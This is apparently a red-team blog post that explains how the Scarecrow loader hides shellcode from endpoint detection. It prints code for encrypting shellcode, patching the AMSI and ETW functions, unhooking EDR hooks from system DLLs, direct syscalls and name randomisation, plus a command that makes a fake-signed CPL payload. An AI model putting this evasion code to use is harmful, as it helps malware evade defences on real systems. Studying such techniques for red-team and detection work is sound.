Introduction

EDR evasion is a constant topic within red teaming. As the field continues to evolve and new tools, techniques and procedures are released, red teamers must also keep up with these changes to stay ahead of detections.

In order to flesh out my understanding on the topic I started digging into Scarecrow, an open-source Go loader from Optiv. It is designed to take raw shellcode and create a sneaky loader to execute the payload while evading detection.

I’ve been meaning to play around with Go more, and since Scarecrow also comes equipped with a lot of modern evasion techniques it makes for a great example to learn from. This is going to be the first post in a series on bypassing EDRs where I can document and collect what I’ve learned along the way. The first part of this post will showcase what Scarecrow can do and how it works and in the second part we will make changes to customize its behaviour.

Scarecrow Overview

At a high-level, Scarecrow contains 9 techniques that it uses in conjunction to avoid EDRs and keep our payload alive:

  • Encrypted shellcode - Takes a 64-bit raw shellcode that it encodes then encrypts with AES and stores in a base64 encoded string.
  • Sideloading - Utilizes sideloading to execute itself in a legitimate process and avoid certain indicators
  • Sandbox evasion - Can run sandbox domain evasion + delays execution with sleep
  • ETW/AMSI bypass - Patches ETW and AMSI functions to avoid generating indicators and avoid detection
  • EDR unhooking - Unhooks EDRs from given DLL files to be able to operate more freely
  • Direct syscall - Utilizes a direct system call to a Windows API to avoid userland hooking (even though it unhooks EDR)
  • Templatization - The code includes templates for all variables that are randomly generated upon execution.
  • Obfuscation - Utilizes Garble to obfuscate binary during compilation making it harder to reverse engineer.
  • Customized output/Code signing - The generated DLL/EXE properties can be set and you can attach a fake/valid code signing certificate.

Code Structure

The source code structure and execution flow is as follows:

  1. ScareCrow.go is the main executable you interact with. Handles arguments and calls Loader.CompileFile to create payload
  2. Loader.go handles the templatization. Creates the loader and shellcode sections from templates in Struct.go.
  3. Struct.go contains code snippets that include the final payload structure for every loader type.
  4. Utils.go is a helper and includes embedded ZIP files that contain file properties as well as the direct syscalls.
  5. We return to ScareCrow.go where the execute function compiles, garbles and signs payload.
  6. Finally, Loader.CompileLoader moves the final payload to the root directory and deletes the temporary folders.

Evasion Techniques

The following section goes into detail to explain how each of the techniques found in Scarecrow work.

Shellcode encryption

  1. Starting from ScareCrow.go we can see a random key and IV is generated that will be used to encrypt the raw shellcode using AES encryption.
key := Cryptor.RandomBuffer(32)
iv := Cryptor.RandomBuffer(16)

block, err := aes.NewCipher(key)
if err != nil {
  log.Fatal(err)
}
paddedInput, err := Cryptor.Pkcs7Pad([]byte(rawbyte), aes.BlockSize)
if err != nil {
  log.Fatal(err)
}
fmt.Println("[*] Encrypting Shellcode Using AES Encryption")
cipherText := make([]byte, len(paddedInput))
ciphermode := cipher.NewCBCEncrypter(block, iv)
ciphermode.CryptBlocks(cipherText, paddedInput)
  1. This ciphertext is then base64-encoded and passed (alongside the key and IV) down the Shellcode_Buff function located in Loader.go.
func Shellcode_Buff(b64ciphertext string, b64key string, b64iv string, FuncName string, NTFuncName string) {
	...
	Shellcode.Variables["fullciphertext"] = Cryptor.VarNumberLength(10, 19)
	Shellcode.Variables["ciphertext"] = Utils.B64ripper(b64ciphertext, Shellcode.Variables["fullciphertext"], true)
	Shellcode.Variables["key"] = b64key
	Shellcode.Variables["iv"] = b64iv
	Shellcode.Variables["vkey"] = Cryptor.VarNumberLength(10, 19)
	Shellcode.Variables["viv"] = Cryptor.VarNumberLength(10, 19)
	...
}

For now, don’t worry about the Shellcode.Variables variable we’ll get to that too (it’s part of the templatization). The ciphertext (now held in the b64ciphertext field) is carved up into smaller string segments and concatenated into a variable by Utils.B64ripper. The purpose of this is to hide the true length of the string.

  1. Finally, the decryption routine Decrypt_Function in Struct.go receives the base64-encoded key, IV and prepared ciphertext.
func {{.Variables.FuncName}}() []byte {	
  ...
	{{.Variables.ciphertext}}
	{{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})

	{{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
	{{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
  ...
}

The output of this function will be the plaintext shellcode ready for use.

Sideloading

Through sideloading we can execute code using legitimate (e.g. Microsoft) signed executables. This way, instead of running our own generated unknown unsigned binary or using some form of injection which carries its own indicators, the execution flow can blend in better and our payload has a better chance of surviving.

Just to show two of the examples you can see that generating a CPL file means that control.exe is going to open up the CPL file (which is basically just a DLL) and load it in for us:

In case a JS file is generated, wscript is the starting executable:

These (and other) executables are nothing new in offensive tradecraft but understanding what we have at our disposal can mean the difference between detection and beacons.

Sandbox evasion

Scarecrow uses the NetGetJoinInformation API to retrieve the join status of the computer:

syscall.NetGetJoinInformation(nil, &domainname, &status)
return status == syscall.NetSetupDomainName, nil

The function above was simplified. The status is checked against NetSetupDomainName, returning True if the computer is joined to the domain. Execution continues only for domain-joined systems. It also employs a simple sleep delay for execution (for some loader outputs).

To note, there are two primary assumptions here:

  • Sandbox environments are not always domain-joined and thus malicious actions will not be performed on them
  • The sleep function can delay execution long enough to make the code look more benign

This can provide some defense but there is room for improvement here. A lot of sandbox environments are aware of such limitations and would either domain-join their machines or hook the API call to spoof the return value.

Similarly, sleep calls can be hooked and the delays are usually virtualized in the sandbox so it does not have to wait seconds/minutes to continue execution. We’ll discuss how to modify this and add new tricks in part 2.

AMSI / ETW Bypass

AMSI is Microsoft’s Antimalware Scan Interface designed specifically to offer better in-memory optics (for both Microsoft Defender/MDE and third-party EDR vendors). For more details you can read the official explanation but for this blog it’s enough to understand that AMSI can give us away before we get our beacons back.

Event Tracing for Windows (ETW) is a built-in Windows logging mechanism designed to observe and analyze application behavior. ETW can collect host telemetry, about both the system and running software. Originally used for troubleshooting and diagnostics it has made its way to become a useful addition for EDRs as well.

By subscribing and monitoring the different providers that collect telemetry, EDRs can build up event chains typically associated with malicious actions.

As an example, in case of .NET applications EDRs could use the AssemblyLoad and ModuleLoad ETW events to monitor for in-memory .NET PE loading. Events are just that, a potential indicator of something dangerous happening. Next steps could be to scan the in-memory PE file (using AMSI or with built-in EDR capabilities) to identify if the loaded assembly is malicious or not.

However, it’s clear that blinding and neutering ETW and AMSI can be a big win here.

The loader sets up the template, by adding two functions ETW_Function and AMSI_Function in Struct.go. This is then called with {{.Variables.ETW}} {{.Variables.AMSI}}.

Patching ETW

In order to bypass ETW, Scarecrow first, gets pointers to the following functions from ntdll.dll:

  • EtwNotificationRegisterName
  • EtwEventRegisterName
  • EtwEventWriteFullName
  • EtwEventWriteName

For each function, it uses WriteProcessMemory to overwrite the function at its start address with 4833C0C3 which translates to the following x64 instructions:

xor rax,rax
ret

The function returns the value of RAX so by using XOR we ensure the return value is 0. If we look at the EtwEventWriteFull function as an example we can see that the return value is a Win32 error code.

After looking up the error code to verify, we can see that 0 translates to ERROR_SUCCESS, so we bypassed the event writing calls while making sure that any caller function still thinks that the event write was successful.

Patching AMSI

Bypassing AMSI is done the same way. It finds the AmsiScanBuffer function inside amsi.dll. This function handles the actual AMSI scanning and returns an HRESULT object.

Using WriteProcessMemory it overwrites the function at its start address with B857000780C3 which translates to:

mov    eax,0x80070057
ret

80070057 corresponds to the E_INVALIDARG HRESULT return code. This makes sure the return result will be an invalid argument error. At the same time the AMSI_RESULT object containing the scan result will remain 0 meaning AMSI_RESULT_CLEAN.

As a side-note if you visit the function documentation you can see that it normally should return an S_OK if the function succeeds.

EDR Unhooking

In order to catch malware, EDRs hook certain system calls that are often abused. For example you can think about functions that allocate memory, write memory or can be used to kick-off execution in some way.

Compare the following disassembled code at NtAllocateVirtualMemory from an unhooked ntdll.dll:

The second line shows the syscall number of NtAllocateVirtualMemory (18 in this case) being moved into the EAX register before the syscall instruction takes place.

And the same function where an EDR is actively hooking the DLL:

The syscall number is no longer visible, the EDR will take of properly executing the syscall (if the behavior is deemed safe), and instead there is an unconditional jmp into EDR territory. EDRs hook functions in basically the same way that Scarecrow patches AMSI/ETW. They get the function address from the loaded DLL then patch the function call with a small stub that hands over execution for analysis before continuing the syscall.

By hooking important functions, EDRs can keep track of calls originating from processes and more easily analyze their intent. Keep in mind that only the DLLs in-memory are modified, on disk they remain clean for stability. Scarecrow takes advantage of this, by loading the clean DLLs from disk, and overwriting the hooks with this clean version.

Let’s see it in action. Inside Struct.go the loader function is called, which calls Reloading against 4 DLLs (kernel32.dll, kernelbase.dll, advapi32.dll, ntdll.dll)

func {{.Variables.loader}}()  {
		err := {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
		if err != nil {
		}
		err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', 'b', 'a', 's', 'e', '.', 'd', 'l', 'l'}))
		if err != nil {
		}
		err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l'}))
		if err != nil {
		}
		err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
		if err != nil {
		}
	
	}

For each DLL the .text (code) section of the DLL is read from disk and stored in a variable Variables.bytes. Then the DLL is loaded in-memory to get a handle and offsets are calculated (to find the code section). Using VirtualProtect the memory section gets an RW permission to allow Scarecrow to write to it. Finally the clean version is written into the correct space byte-by-byte and then the original RX permissions are restored.

func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
		{{.Variables.ReloadingMessage}}
		{{.Variables.dll}}, {{.Variables.error}} := ioutil.ReadFile({{.Variables.DLLname}})
		if {{.Variables.error}} != nil {
			return {{.Variables.error}}
		}
		{{.Variables.file}}, {{.Variables.error}} := pe.Open({{.Variables.DLLname}})
		if {{.Variables.error}} != nil {
			return {{.Variables.error}}
		}
		{{.Variables.x}} := {{.Variables.file}}.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
		{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
		{{.Variables.loaddll}}, {{.Variables.error}} := windows.LoadDLL({{.Variables.DLLname}})
		if {{.Variables.error}} != nil {
			return {{.Variables.error}}
		}
		{{.Variables.handle}} := {{.Variables.loaddll}}.Handle
		{{.Variables.dllBase}} := uintptr({{.Variables.handle}})
		{{.Variables.dllOffset}} := uint({{.Variables.dllBase}}) + uint({{.Variables.x}}.VirtualAddress)
		{{.Variables.regionsize}} := uintptr(len({{.Variables.bytes}}))
		var {{.Variables.oldfartcodeperms}} uintptr

		if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}}))), {{.Variables.regionsize}}, uint32(0x40), unsafe.Pointer(&{{.Variables.oldfartcodeperms}})) {
			panic("Call to VirtualProtect failed!")
		}
		for i := 0; i < len({{.Variables.bytes}}); i++ {
			{{.Variables.loc}} := uintptr({{.Variables.dllOffset}} + uint(i))
			{{.Variables.mem}} := (*[1]byte)(unsafe.Pointer({{.Variables.loc}}))
			(*{{.Variables.mem}})[0] = {{.Variables.bytes}}[i]
		}
		if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}}))), {{.Variables.regionsize}}, uint32({{.Variables.oldfartcodeperms}}), unsafe.Pointer(&{{.Variables.oldfartcodeperms}})) {
			panic("Call to VirtualProtect failed!")
		}
		return nil
	}

Direct Syscalls

There is another way to avoid detection via hooks. If you look at the function call from the previous section, it is nothing more than a stub that makes sure the correct syscall number is used before issuing the syscall command. This idea has been weaponized by recreating these syscalls stub and therefore directly calling the syscall instructions, bypassing the hook entirely.

There is a catch though, syscall numbers (identifying the functions) can change between Windows versions (and could change between patches). A number of solutions have been proposed and I recommend reading Alice’s blog post since she did a great job documenting the different techniques and references back to the initial research.

Let’s move into how Scarecrow works here then.

The custom syscall is stored in a b64-encoded ZIP called loader.zip inside Utils.go.

func B64decode(name string) {
	var base64string string
	if name == "loader.zip" {
		base64string = ...
	}
	...
}

The ZIP file contains loader.go and asm.s. This loader.go contains both the shellcode functionality (Shellcode_Buff eventually puts the template in place of Shellcodefunc) as well as the function definitions to call the ASM code.

package loader

import (
		"crypto/aes"
		"crypto/cipher"
		"encoding/base64"
		"encoding/hex"
		"unsafe"
	)

func main() {

}

Shellcodefunc



func [NtProtectVirtualMemoryprep]([sysid] uint16, [processHandle] uintptr, [baseAddress], [regionSize] *uintptr, [NewProtect] uintptr, [oldprotect] *uintptr) (uint32, error) {

	return NtProtectVirtualMemory(
		[sysid],
		[processHandle],
		uintptr(unsafe.Pointer([baseAddress])),
		uintptr(unsafe.Pointer([regionSize])),
		[NewProtect],
		uintptr(unsafe.Pointer([oldprotect])),
	)
}


func Allocate(callid uint16, PHandle uint64, BaseA, ZeroBits, RegionSize, AllocType, Protect uintptr, nothing uint64) uintptr
func NtProtectVirtualMemory(callid uint16, argh ...uintptr) (errcode uint32, err error)

Allocate is used to directly call NtAllocateVirtualMemory and allocate a memory region for the shellcode. NtProtectVirtualMemory is used to change the memory region permissions. The direct syscalls are implemented asm.s.

All variables in loader.go are eventually obfuscated by Utils.go->ModuleObfuscator. However, keep in mind that the ASM code never changes and could be used as a solid indicator.

Templatization

Now that we walked through all the evasive functionalities of Scarecrow there is one more important aspect to touch upon, its templatization. In the previous segments you already saw that function names take on a jinja-like syntax such as:

func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
		{{.Variables.ReloadingMessage}}
		...
}

This is done in order to randomize all variable and function names when generating the payload, making it more difficult to detect payloads strictly based on static indicators. The base payload structures are defined in Struct.go and it is up to Loader.go to actually select the right payload type (Binary vs DLL, CPL vs XLL etc.) and then append the complete payload with the template names filled in.

In case of a binary, this is handled by the Binaryfile function (DLLs are assembled the same way but in DLLfile).

func Binaryfile(mode string, console bool, sandbox bool, sandboxdomain string, name string, ETW bool, ProcessInjection string, Sleep bool, SleepType string, AMSI bool) (string, string, string) {
	var Structure string
	var buffer bytes.Buffer
	Binary := &Binary{}
	Sandboxfunction := &Sandboxfunction{}
	Sandboxfunction.Variables = make(map[string]string)
	Binary.Variables = make(map[string]string)
	WindowsVersion := &WindowsVersion{}
	WindowsVersion.Variables = make(map[string]string)
	Binary.Variables["FuncName"] = Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
	Binary.Variables["NTFuncName"] = Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
	...
	Binary.Variables["virtualAlloc"] = Cryptor.VarNumberLength(10, 19)
	Binary.Variables["DLLname"] = Cryptor.VarNumberLength(10, 19)
	Binary.Variables["Reloading"] = Cryptor.VarNumberLength(10, 19)
	...

Every variable that is used in Struct.go receives an actual value from the loader. Take the above snippet as an example. All variable names receive a value from Cryptor.VarNumberLength(10,19).

Once we look inside Cryptor.go the view is complete. A random-length string between 10 and 19 characters built from lower and uppercase letters will be returned by this function.

func VarNumberLength(min, max int) string {
	var r string
	crand.Seed(time.Now().UnixNano())
	num := crand.Intn(max-min) + min
	n := num
	r = RandStringBytes(n)
	return r
}

func RandStringBytes(n int) string {
	b := make([]byte, n)
	for i := range b {
		b[i] = letters[crand.Intn(len(letters))]

	}
	return string(b)
}

const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

In order to substitute the variables into the structure a templating system is called, passing the variables and an output string buffer.

SandboxFunctionTemplate, err := template.New("Sandboxfunction").Parse(Struct.Sandbox())
		if err != nil {
			log.Fatal(err)
		}
		if err := SandboxFunctionTemplate.Execute(&buffer, DLL); err != nil {
			log.Fatal(err)
		}
		DLL.Variables["Sandboxfunction"] = buffer.String()
		buffer.Reset()

This way Scarecrow can make sure that every generated payload will be different at a code level.

Obfuscation

The final executable payload is compiled in Scarecrow using garble. Taken straight from the Github page, garble wraps calls to the Go compiler and linker in order to:

  • Replace as many useful identifiers as possible with short base64 hashes
  • Replace package paths with short base64 hashes
  • Replace filenames and position information with short base64 hashes
  • Remove all build and module information
  • Strip debugging information and symbol tables via -ldflags="-w -s"
  • Obfuscate literals, if the -literals flag is given
  • Remove extra information, if the -tiny flag is given

Modifying Output/Code Signing

By default Scarecrow can use a number of pre-built parameters for the output executable, including file version, description, company name etc. For executables, it also adds a valid .ico file randomly selected from a list.

The payload can be optionally signed with a valid/invalid certificate. Valid code signing certificates would have to be supplied manually, however any HTTPS URL can be used to strip a certificate and use it as a code-signer. The certificate itself of course will not be valid, but could fool some EDRs.

As an example the following payload generates a CPL file signed with a Microsoft certificate:

./ScareCrow -I ../payload.bin -sandbox -domain microsoft.com -Loader control

  _________                           _________
 /   _____/ ____ _____ _______   ____ \_   ___ \_______  ______  _  __
 \_____  \_/ ___\\__  \\_  __ \_/ __ \/    \  \/\_  __ \/  _ \ \/ \/ /
 /        \  \___ / __ \|  | \/\  ___/\     \____|  | \(  <_> )     /
/_______  /\___  >____  /__|    \___  >\______  /|__|   \____/ \/\_/
        \/     \/     \/            \/        \/
                                                        (@Tyl0us)
        “Fear, you must understand is more than a mere obstacle.
        Fear is a TEACHER. the first one you ever had.”

[*] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[+] Patched ETW Enabled
[+] Patched AMSI Enabled
[*] Creating an Embedded Resource File
[+] Created Embedded Resource File With speech's Properties
[*] Compiling Payload
[+] Payload Compiled
[*] Signing speech.dll With a Fake Cert
[+] Signed File Created
[+] speech.cpl File Ready

The output shows each step of the generation process, the CPL process gets the properties of a random file (speech in this case) and is signed with the certificate specified in domain:

Recap

With everything put together Scarecrow is able to bypass some* EDRs quite effectively. As is often the case with published open-source tooling however, its effectiveness in a default, unmodified context reduces over time. Since Scarecrow is built with templatization in mind, there is nothing stopping us from taking advantage of this and changing its behaviour.

While making this post, I made a number of modifications to Scarecrow to better understand how it works:

  • Adding a new encryption routine
  • Adding domain-keying
  • Changing how the payload is stored
  • Adding a new sleep routine for sandbox evasion

In the second part of this series I go over these changes in detail and explain how I have implemented them while keeping the original functions intact.